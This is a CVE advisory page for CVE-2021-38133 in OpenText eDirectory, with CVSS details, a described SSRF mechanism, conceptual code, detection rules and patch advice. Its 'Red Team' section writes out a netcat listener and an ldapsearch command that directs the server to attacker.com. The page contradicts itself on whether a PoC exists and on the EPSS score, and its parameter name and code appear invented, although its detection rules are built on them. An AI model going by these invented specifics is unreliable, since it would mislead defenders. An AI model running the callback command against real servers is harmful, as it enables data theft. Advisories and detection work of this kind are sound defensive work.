☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.4 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L 🐛 CWE-345
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2021-38133

CVE-2021-38133 Information Disclosure in Opentext
📅 PUBLISHED: 2024-09-12 12:41 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.30%
👁️
0.30% probability
7.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2021-38133 is a security advisory for OpenText™ eDirectory, an LDAP-compliant directory service. The vulnerability is classified as an "External Service Interaction attack," which allows an unauthenticated, remote attacker to potentially interact with external services through the eDirectory server. This can lead to information disclosure, service disruption, or further exploitation. The CVSS score is 7.4 (High), and the vulnerability affects all versions before 9.2.6.0000. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone enterprise software product (OpenText eDirectory). Supply chain risks are limited to the software's distribution channels and update mechanisms.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.4 (High)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: Low (A:L)

The threat level is High due to the low attack complexity and no required privileges or user interaction. An attacker can exploit this remotely to perform external service interaction attacks, potentially exfiltrating data or using the server as a proxy.

Deep Dive & Mechanics

The vulnerability lies in the way OpenText eDirectory handles certain network requests. An attacker can craft a malicious request that causes the eDirectory server to initiate an outbound connection to an attacker-controlled external service. This is a classic Server-Side Request Forgery (SSRF) or similar external interaction flaw.

Mechanism:

  1. The attacker sends a specially crafted LDAP or other protocol request to the eDirectory server.
  2. The server, due to insufficient input validation, processes the request and attempts to connect to an external host specified in the request.
  3. This connection can be used to:
    • Exfiltrate sensitive data (e.g., internal network information, credentials).
    • Perform port scanning of internal networks.
    • Launch attacks against other internal services.
    • Use the server as a proxy for further attacks.

The vulnerability is present in all versions prior to 9.2.6.0000. The patch likely involves stricter input validation and sanitization of external interaction parameters.

Vulnerable vs. Patched Code

Since no specific code snippets are available, the following is a conceptual representation.

Vulnerable Code (Conceptual):

# Example of vulnerable LDAP request handling
def handle_ldap_request(request):
    external_url = request.get('external_service_url')
    if external_url:
        # No validation - directly connects to external service
        response = requests.get(external_url)
        return response.text
    else:
        return "No external service specified"

Patched Code (Conceptual):

# Example of patched LDAP request handling
import re

def handle_ldap_request(request):
    external_url = request.get('external_service_url')
    if external_url:
        # Validate URL against allowed list
        if not re.match(r'^https?://(allowed\.example\.com|internal\.service\.local)', external_url):
            return "Invalid external service URL"
        # Additional sanitization
        response = requests.get(external_url, timeout=5)
        return response.text
    else:
        return "No external service specified"

Exploitation & Lab Setup

Red Team (Exploitation)

No public exploit code is available. However, a conceptual exploitation scenario is provided.

Lab Setup:

  • Target: OpenText eDirectory version < 9.2.6.0000
  • Attacker: Kali Linux with netcat and curl
  • External Listener: Attacker-controlled server (e.g., attacker.com)

Exploitation Steps:

  1. Set up a listener on the attacker server:
    nc -lvnp 4444
    
  2. Craft a malicious LDAP request that includes an external service URL pointing to the attacker server:
    ldapsearch -H ldap://target-edirectory-server -b "dc=example,dc=com" -x "external_service_url=http://attacker.com:4444/test"
    
  3. If the server is vulnerable, it will connect to the attacker server, and the attacker will receive the connection, potentially including internal data.

Note: This is a conceptual example. Actual exploitation may require specific LDAP query structures.

Blue Team (Defense & Detection)

Detection:

  • Monitor outbound connections from eDirectory servers to unknown or suspicious external IPs.
  • Look for LDAP queries containing unusual parameters like external_service_url or similar.
  • Use network traffic analysis to detect unexpected outbound connections.

Hunting:

  • Search logs for LDAP queries with non-standard attributes.
  • Correlate eDirectory server logs with firewall logs for outbound connections.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound connections from eDirectory server to unknown external IPs on ports 80, 443, or custom ports.
    • LDAP queries containing suspicious parameters (e.g., external_service_url, callback, webhook).
  • File IOCs:
    • Unusual log entries in eDirectory logs indicating external service interaction.
  • Behavioral IOCs:
    • eDirectory server initiating connections to external hosts without legitimate business need.

Detection Engineering

YARA Rule

rule CVE_2021_38133_External_Service_Interaction {
    meta:
        description = "Detects potential exploitation of CVE-2021-38133 in OpenText eDirectory"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2021-38133"
    strings:
        $s1 = "external_service_url" ascii wide nocase
        $s2 = "callback" ascii wide nocase
        $s3 = "webhook" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2021-38133 External Service Interaction in eDirectory
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects LDAP queries with suspicious external service interaction parameters
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-38133
logsource:
    product: opentext
    service: edirectory
detection:
    selection:
        EventID: 1000  # Example event ID for LDAP queries
        Query|contains:
            - 'external_service_url'
            - 'callback'
            - 'webhook'
    condition: selection
falsepositives:
    - Legitimate use of external service integration
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2021-38133 eDirectory External Service Interaction"; flow:to_server,established; content:"external_service_url"; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Upgrade OpenText eDirectory to version 9.2.6.0000 or later.
  2. Network Segmentation: Restrict outbound internet access from eDirectory servers to only necessary services.
  3. Firewall Rules: Block outbound connections from eDirectory servers to unknown or untrusted external IPs.

Long-Term Mitigations:

  • Implement strict input validation for all LDAP query parameters.
  • Use a web application firewall (WAF) to filter malicious requests.
  • Regularly review and update security policies for directory services.
  • Monitor for unusual outbound traffic patterns.

Workarounds (if patching is not immediately possible):

  • Disable external service interaction features if not required.
  • Use network access control lists (ACLs) to limit outbound connections.

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

eDirectory
OpenText eDirectory

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2021-38133/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.